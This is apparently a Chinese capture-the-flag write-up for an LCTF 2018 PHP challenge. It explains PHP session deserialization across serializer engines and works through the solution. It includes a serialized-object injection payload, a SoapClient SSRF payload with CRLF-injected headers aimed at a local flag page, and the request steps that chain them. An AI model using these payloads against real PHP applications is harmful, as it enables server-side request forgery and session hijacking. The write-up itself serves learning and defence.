上来就是源码
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
call_user_func无法调用一些危险函数,猜测是要利用session,就去看了一下session反序列化
php session反序列化
php有三个反序列化引擎
php引擎的存储格式是键名 | serialized_string,而php_serialize引擎的存储格式是serialized_string。如果程序使用两个引擎来分别处理的话就会出现问题。
我们先用php_serialize引擎处理session
#test.php
<?php
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION['name'] = $_GET['a'];
var_dump($_SESSION);
接下来用php引擎处理session文件
#test1.php
<?php
ini_set('session.serialize_handler','php');
session_start();
class person{
public $name;
public $age;
function __destruct(){
echo 'hello '.$this->name;
}
}
payload:
<?php
class person{
public $name;
public $age;
public function __construct(){
$this->name = 'fmyyy';
}
}
$o = new person();
echo serialize($o);
O:6:"person":2:{s:4:"name";s:5:"fmyyy";s:3:"age";N;}
在最前面加上|
变成
|O:6:"person":2:{s:4:"name";s:5:"fmyyy";s:3:"age";N;}
然后在test.php提交,之后访问test1.php
可以看到反序列化成功,看一下session文件里面的内容。
a:1:{s:4:"name";s:60:"|O:6:"person":2:{s:4:"name";s:5:"fmyyy";s:3:"age";s:2:"20";}
之前我们说过,在php这个反序列化引擎中,|是键名和键值的分隔符,所以前部分a:1:{s:4:"name";s:60:"
变成了了键名,解析session文件是会自动对 | 后面的数据做反序列化处理,这在官方文档里有说明
为了方便理解 我们用var_dump(get_defined_vars());输出所有已定义的变量,看到这一段
&array(1) { ["a:1:{s:4:"name";s:60:""]=> object(person)#1 (2) { ["name"]=> string(5) "fmyyy" ["age"]=> string(2) "20" } } }
这样session反序列化的原理就非常清楚了。
虽然清楚了原理但还是找不到下手的地方,无奈之下只好参考wp。还需要利用下面两个知识点,学到了学到了。
CRLF Injection漏洞
从几道CTF题看SOAP安全问题
简单来说, SoapClient是php的内置类,可以发送http请求。
public SoapClient :: SoapClient (mixed $wsdl [,array $options ]
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=g6ooseaeo905j0q4b9qqn2n471\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
?>
第一次传值
第二次
?f=extract
POST: b=call_user_func
最后用我们的设置的cookie访问index.php拿到flag